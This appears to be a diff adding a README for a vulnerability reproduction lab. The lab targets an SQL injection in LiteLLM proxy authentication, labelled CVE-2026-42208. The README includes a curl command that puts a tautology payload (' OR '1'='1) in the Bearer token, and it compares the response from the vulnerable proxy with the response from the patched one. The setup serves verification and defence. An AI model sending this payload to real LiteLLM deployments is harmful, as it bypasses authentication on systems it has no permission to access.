+# SQL Injection affecting LiteLLM proxy authentication (CVE-2026-42208)
+
+LiteLLM proxy versions v1.82.0 and earlier fail to properly parameterize token verification queries. A remote unauthenticated attacker can supply crafted API keys containing malicious SQL syntax (such as tautology-based payloads) to bypass authentication checks and interact with protected proxy routes.
+
+## Vulnerable Version
+
+### Setup
+
+Start the vulnerable LiteLLM proxy instance (v1.82.0-stable) and its PostgreSQL database on port 4000:
+
+```sh
+docker compose up -d litellm-vuln db
+```
+### Testing the vulnerability
+
+```
+curl -H "Authorization: Bearer ' OR '1'='1" localhost:4000/v1/models
+
+```
+Response:
+
+```
+{"data":[{"id":"*","object":"model","created":1677610602,"owned_by":"openai"}],"object":"list"}
+
+```
+## Safe Version
+
+### Setup
+
+Start the patched LiteLLM proxy instance (v1.83.10-stable) and its PostgreSQL database on port 4001:
+
+```sh
+docker compose up -d litellm-patched db
+```
+### Testing the vulnerability
+
+```
+curl -H "Authorization: Bearer ' OR '1'='1" localhost:4001/v1/models
+```
+Response:
+
+```
+{"error":{"message":"Authentication Error, LiteLLM Virtual Key expected. Received=' OR****'='1, expected to start with 'sk-'.","type":"auth_error","param":"None","code":"401"}}
+
+```
